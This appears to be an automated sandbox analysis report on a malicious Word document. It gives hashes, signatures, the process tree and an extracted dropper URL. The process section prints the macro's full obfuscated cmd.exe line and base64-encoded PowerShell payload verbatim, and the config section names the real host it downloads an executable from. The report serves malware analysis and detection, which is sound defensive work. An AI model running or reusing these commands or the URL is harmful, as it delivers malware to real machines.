Analysis

  • max time kernel
    109s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09-05-2021 11:42

General

  • Target

    initial.bin.doc

  • Size

    106KB

  • MD5

    7a618482be272bb1fcb4af69a3f649a3

  • SHA1

    8d77bac6b9f0f45dbddce469dbb24a9c6be0ac46

  • SHA256

    8e0ddb5abdb6a6b5196e3a4182f3becccfc302c013dce60836896d79f2d7da2a

  • SHA512

    3e8e54be84e5406ab22064bd69e0deba21d7fb7ec625c88b91659f38f8db9f6f2dc5d84da3004b7c41e3771074b1d7a70130f4e0c2a869140619c2f83434993d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://finance-advisors-ca.bid/ldr.bin

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\initial.bin.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\SYSTEM32\Cmd.exe
      Cmd TACAiZWidzJ QlELiFOErRhvNKiaJWsYwW wlJfOqlYPlHp & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %AwpZiQoBRUEQPsH%=cRwTOVNzvj&&set %YrMvOFQhX%=p&&set %CTWbrSlIwsfzwt%=o^w&&set %pAjKSKGUdiTzNII%=RdjtQWiQvz&&set %bCbazDZpqJqEP%=!%YrMvOFQhX%!&&set %nobijsdvaoVGBuK%=OdAfEqLtEjRCTT&&set %wauWYPWLOzP%=e^r&&set %rbXUXQCsTtYNK%=!%CTWbrSlIwsfzwt%!&&set %iTXpEXwqEHkkj%=s&&set %RPPUXRswvbTRhTz%=bmiVHFPQ&&set %zjUnavSRR%=he&&set %VKzjjIHdbbC%=ll&&!%bCbazDZpqJqEP%!!%rbXUXQCsTtYNK%!!%wauWYPWLOzP%!!%iTXpEXwqEHkkj%!!%zjUnavSRR%!!%VKzjjIHdbbC%! -e JgAgACgAIAAkAHAAcwBoAG8AbQBFAFsANABdACsAJABQAFMAaABvAE0AZQBbADMAMABdACsAJwB4ACcAKQAgACgAIABuAGUAVwAtAE8AYgBKAGUAYwB0ACAAIABTAHkAUwBUAEUATQAuAEkATwAuAGMAbwBNAFAAcgBlAFMAUwBJAE8ATgAuAEQAZQBGAEwAQQBUAGUAcwBUAHIAZQBBAE0AKAAgAFsASQBPAC4AbQBlAG0ATwBSAFkAUwB0AFIARQBhAG0AXQBbAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBJAG4AZwAoACAAJwBWAFUAOQBkAFMAOABNAHcARgBQADAAcgBlAFEAaQBrAHgAVABWAGwAaQBpAGcATABnAGwAZwBuAGUAMQBBAFoAVgBpAGcARABRAGQATAAwAGIAbwAyADIAUwBVAG0AdgBhADcAZgBTAC8AMgA1ADAAOQBjAEcAWABlADcAbgBuAGcAMwBNAHUAWABUAGYAeQArAEUASgB1AGkASQBFAHUAcwB2AGsASABLAEMAUgBPAG0AcwBMAFcAZwByAG8ANgBrAFgAWAAyAG4AMABzAFAATABVAEwATgBuAHcARgA1AEIAbgBsAFMAYQBUAEEAbwBxAE0AcgB1AE4AcQBVAFgAcwBoAEsAeABXAGMAVAB4AFYAaAB0AHAARgBFAFMAeQAyAE8AdgBXAHUAagBaAFMAawB1AGUANgBpAEsAdgBDACsAVwAwAFkAVAA1AHQASwBZADgAQgB1AFcAUwBqAG8AbwB6AG8AdQBWADkAcQA3ADYAVwA4AFgAYgBxAEQASABZAEQANABqADUANQBmAHoAcQArAHMATABMADYAaQArADkAcgBqADUANABjAEgAcwBGAHoANgA5AEkAVwBlAEUAdgBUAEUALwAvADcAegArADUAdABBAEQARQAxAHYAcgBRAEsAbwB5AG8ASwB0AEUAbAA0AHAAbwBRADAANwBkAHcAZwBIAGQAWQBaAGcAKwA0AHYAZQAyAE0ANQBXAFYAeABZAE8AdQBZAEoATAB5AFYANQB1AGkAMAAyAFkAWABoAEQATgB5AFMAZwB4AEYAaQB0AEoAaAB0AEgAWgBXAFEAZAB0AE8AcQBNAGgAOQB3AHEAYwBZAGwAVQBSAFYARABwADMAVABDAEYARgBwAFcAeQBUADAAbgBTADkANwBCAFEAMQBxAGEALwBpAFQATgA4AGcAZABpAEgASAA4AEIAZwA9AD0AJwAgACkALAAgAFsAUwB5AHMAdABFAE0ALgBJAE8ALgBDAE8ATQBQAHIARQBzAFMAaQBPAE4ALgBjAE8ATQBQAFIARQBTAHMAaQBPAG4AbQBvAEQAZQBdADoAOgBkAEUAYwBvAG0AcABSAGUAcwBTACkAIAB8ACUAewAgAG4AZQBXAC0ATwBiAEoAZQBjAHQAIABzAHkAUwB0AGUAbQAuAGkATwAuAFMAdABSAGUAQQBtAFIARQBBAEQARQByACgAIAAkAF8AIAAsACAAWwBzAFkAcwBUAEUAbQAuAFQARQBYAHQALgBFAE4AYwBvAEQAaQBOAGcAXQA6ADoAYQBTAGMASQBJACAAKQAgAH0AIAApAC4AcgBFAEEARAB0AE8ARQBOAGQAKAAgACkA
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JgAgACgAIAAkAHAAcwBoAG8AbQBFAFsANABdACsAJABQAFMAaABvAE0AZQBbADMAMABdACsAJwB4ACcAKQAgACgAIABuAGUAVwAtAE8AYgBKAGUAYwB0ACAAIABTAHkAUwBUAEUATQAuAEkATwAuAGMAbwBNAFAAcgBlAFMAUwBJAE8ATgAuAEQAZQBGAEwAQQBUAGUAcwBUAHIAZQBBAE0AKAAgAFsASQBPAC4AbQBlAG0ATwBSAFkAUwB0AFIARQBhAG0AXQBbAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBJAG4AZwAoACAAJwBWAFUAOQBkAFMAOABNAHcARgBQADAAcgBlAFEAaQBrAHgAVABWAGwAaQBpAGcATABnAGwAZwBuAGUAMQBBAFoAVgBpAGcARABRAGQATAAwAGIAbwAyADIAUwBVAG0AdgBhADcAZgBTAC8AMgA1ADAAOQBjAEcAWABlADcAbgBuAGcAMwBNAHUAWABUAGYAeQArAEUASgB1AGkASQBFAHUAcwB2AGsASABLAEMAUgBPAG0AcwBMAFcAZwByAG8ANgBrAFgAWAAyAG4AMABzAFAATABVAEwATgBuAHcARgA1AEIAbgBsAFMAYQBUAEEAbwBxAE0AcgB1AE4AcQBVAFgAcwBoAEsAeABXAGMAVAB4AFYAaAB0AHAARgBFAFMAeQAyAE8AdgBXAHUAagBaAFMAawB1AGUANgBpAEsAdgBDACsAVwAwAFkAVAA1AHQASwBZADgAQgB1AFcAUwBqAG8AbwB6AG8AdQBWADkAcQA3ADYAVwA4AFgAYgBxAEQASABZAEQANABqADUANQBmAHoAcQArAHMATABMADYAaQArADkAcgBqADUANABjAEgAcwBGAHoANgA5AEkAVwBlAEUAdgBUAEUALwAvADcAegArADUAdABBAEQARQAxAHYAcgBRAEsAbwB5AG8ASwB0AEUAbAA0AHAAbwBRADAANwBkAHcAZwBIAGQAWQBaAGcAKwA0AHYAZQAyAE0ANQBXAFYAeABZAE8AdQBZAEoATAB5AFYANQB1AGkAMAAyAFkAWABoAEQATgB5AFMAZwB4AEYAaQB0AEoAaAB0AEgAWgBXAFEAZAB0AE8AcQBNAGgAOQB3AHEAYwBZAGwAVQBSAFYARABwADMAVABDAEYARgBwAFcAeQBUADAAbgBTADkANwBCAFEAMQBxAGEALwBpAFQATgA4AGcAZABpAEgASAA4AEIAZwA9AD0AJwAgACkALAAgAFsAUwB5AHMAdABFAE0ALgBJAE8ALgBDAE8ATQBQAHIARQBzAFMAaQBPAE4ALgBjAE8ATQBQAFIARQBTAHMAaQBPAG4AbQBvAEQAZQBdADoAOgBkAEUAYwBvAG0AcABSAGUAcwBTACkAIAB8ACUAewAgAG4AZQBXAC0ATwBiAEoAZQBjAHQAIABzAHkAUwB0AGUAbQAuAGkATwAuAFMAdABSAGUAQQBtAFIARQBBAEQARQByACgAIAAkAF8AIAAsACAAWwBzAFkAcwBUAEUAbQAuAFQARQBYAHQALgBFAE4AYwBvAEQAaQBOAGcAXQA6ADoAYQBTAGMASQBJACAAKQAgAH0AIAApAC4AcgBFAEEARAB0AE8ARQBOAGQAKAAgACkA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:512

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • memory/512-180-0x0000000000000000-mapping.dmp
  • memory/512-183-0x00000143EDBE6000-0x00000143EDBE8000-memory.dmp
    Filesize

    8KB

  • memory/512-182-0x00000143EDBE3000-0x00000143EDBE5000-memory.dmp
    Filesize

    8KB

  • memory/512-181-0x00000143EDBE0000-0x00000143EDBE2000-memory.dmp
    Filesize

    8KB

  • memory/808-117-0x00007FFA59300000-0x00007FFA59310000-memory.dmp
    Filesize

    64KB

  • memory/808-118-0x00007FFA7A780000-0x00007FFA7D2A3000-memory.dmp
    Filesize

    43.1MB

  • memory/808-122-0x00007FFA74700000-0x00007FFA757EE000-memory.dmp
    Filesize

    16.9MB

  • memory/808-123-0x00007FFA72800000-0x00007FFA746F5000-memory.dmp
    Filesize

    31.0MB

  • memory/808-119-0x00007FFA59300000-0x00007FFA59310000-memory.dmp
    Filesize

    64KB

  • memory/808-114-0x00007FFA59300000-0x00007FFA59310000-memory.dmp
    Filesize

    64KB

  • memory/808-116-0x00007FFA59300000-0x00007FFA59310000-memory.dmp
    Filesize

    64KB

  • memory/808-115-0x00007FFA59300000-0x00007FFA59310000-memory.dmp
    Filesize

    64KB

  • memory/3616-179-0x0000000000000000-mapping.dmp